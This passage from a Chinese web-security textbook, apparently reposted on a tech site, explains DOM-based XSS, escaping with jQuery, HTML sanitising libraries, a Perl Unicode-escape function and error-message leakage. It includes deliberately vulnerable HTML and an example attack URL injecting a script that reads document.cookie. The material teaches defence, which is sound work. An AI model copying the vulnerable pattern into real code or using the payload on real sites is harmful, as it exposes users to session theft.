除了上述的各种 XSS 之外,还有一种叫作“DOM based XSS”的 XSS。JavaScript 常用于客户端的显示处理,DOM based XSS 即潜藏于此处的安全隐患。
下面是含有 DOM based XSS 漏洞的简单的 HTML。
代码清单 /43/43-011.html
<body> 你好 <script type="text/javascript"> document.URL.match(/name=([^&]*)/);──取出查询字符串中 name 的值 document.write(unescape(RegExp.$1));─将取出的值显示在页面上 </script> </body>
这段 HTML 的目的是将查询字符串中 name=
指定的姓名通过 JavaScript 显示在页面上。例如,使用 http://example.jp/43-011.html?name=YamadaURL 显示页面时,页面上就会显示“你好,Yamada”。
按照惯例,下面我们来看一下对这段 HTML 进行攻击的示例。使用如下 URL 打开网页时,页面显示如图 4-27 所示。
http://example.jp/43/43-011.html?name=<script>alert(document.cookie)
</script>
图 4-27 DOM based XSS 的结果
攻击者注入的 JavaScript 代码不会出现于服务器端生成的 HTML 中,因此这类 XSS 被称为“DOM based XSS”。现今使用 JavaScript 来显示页面的案例越来越多,而即便是部分显示使用 JavaScript 也必须要考虑其中是否会有 HTML 标签。
JavaScript 的标准函数中没有提供转义 HTML 的功能,因此这里我们使用 jQuery 这个风靡全球的 JavaScript 库来示范字符串的显示。使用 span 元素确定字符串的显示位置,然后向 id 指定的 DOM 中插入文本文字。这时可以使用 text
方法自动进行转义操作。
代码清单 /43/43-011a.html
<body> <script src="https://www.wenjiangs.com/wp-content/uploads/2024/10/jquery-1.4.4.min.js"></script> ←──加载 jQuery 你好 <span id="name"></span> <script type="text/javascript"> if (document.URL.match(/name\=([^&]*)/)) { var name = unescape(RegExp.$1); $('#name').text(name); ←─────────────显示文本 } </script> </body>
实施防范策略后的脚本运行结果如下图,能看到 < 等被转义后正确地显示了出来。
图 4-28 实施防范策略后脚本的显示结果
允许 HTML 标签或 CSS 时的对策
开发博客系统或 SNS 网站时,有时需要允许用户使用 HTML 标签或自定义 CSS(Cascading Style Sheet)。但是,这样会带来很大的 XSS 风险。
一旦允许输入 HTML 标签,用户就能够使用 script 元素或事件绑定函数等执行 JavaScript,同样,在 CSS 中使用 expression 功能 19 也能执行 JavaScript,而问题是这些 JavaScript 有可能并不是开发者所设置的。
19 这是微软的 Internet Explorer 中提供的扩充功能。IE8 的标准模式中禁用了此功能,但在其他模式中还可以使用。
为了避免此类 JavaScript 的执行,可以采取解析用户输入的 HTML,仅允许可以显示的元素的方法。但是 HTML 的语法结构相当复杂,此方法实施起来实属不易。
所以,开发允许用户输入 HTML 标签或 CSS 的网站时,最好的方法可能就是使用能够 解析 HTML 文本语法结构的第三方程序库。PHP 中能利用的程序库有 HTML Purifier( http://htmlpurifier.org/ )等。
参考:Perl 中转义 Unicode 的函数
以下为 Perl 中转义 Unicode 的函数范例。
#!/usr/bin/perl use strict;
use utf8;
use Encode qw(decode encode);
# ...
# 将输入值全部转义为 \uXXXX 形式
sub unicode_escape {
my $u16 = encode('UTF-16BE', $_[0]); # 转换为 UTF-16
my $hex = unpack('H*', $u16); # 转换为十六进制字符串
# 每隔 4 个字符插入一个 \u
$hex =~ s/([0-9a-f]{4})/\\u\1/g;
return $hex;
}
# 将字母和数字以外的字符转义为 \uXXXX 形式
sub escape_js_string {
my ($s) = @_;
# 将字母、数字、减号、点号以外的字符串传给 unicode 函数处理
$s =~ s/([^-\.0-9a-zA-Z]+)/unicode_escape($1)/eg;
return $s;
}
4.3.3 错误消息导致的信息泄漏
错误消息导致的信息泄漏有以下两种情况。
- 错误消息中含有对攻击者有帮助的应用程序内部信息
- 通过蓄意攻击使错误信息中显示隐私信息(如用户个人信息等)
应用程序内部信息是指,发生错误的函数名、数据库的表名、列名等,这些信息都有可能成为攻击的突破口。而第二种情况的具体内容会在 4.4.1 节中结合示例讲解。
为了解决以上问题,当应用程序发生错误时,应该仅在页面上显示“此时访问量太大,请稍后再试”等提示用户的消息,而错误的详细内容则以错误日志(Error Log)的形式输出。详情可参考 5.4 节。
PHP 的情况下,禁止显示详细错误信息,只需在 php.ini 中做如下设置。
display_errors = Off
总结
4.3 节集中讲述了 XSS 漏洞。由于 XSS 漏洞产生的主要原因为显示的方法存在问题,所以消除 XSS 漏洞的第一步就是生成正确的 HTML。开发新项目时,只要能够保持警惕,避免 XSS 漏洞并不困难,但事后再来应对 XSS 漏洞的话却相当费心费力,而且有时即使发现了隐患也会姑且将其搁置。但这样做是非常危险的,因此,不论网站的特点如何,笔者都强烈建议从最开始就编写正确的代码来杜绝 XSS 漏洞。
继续深入学习
读者们在学习完本书的内容后,如果还想继续深入学习的话,可以参考以下信息。
- 长谷川阳介的连载
NetAgent 公司的长谷川阳介在“@IT”上连载了《教科书上学不到 Web 应用安全知识》系列文章,围绕着浏览器关于 XSS 的特有问题等进行了浅显易懂的讲解。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论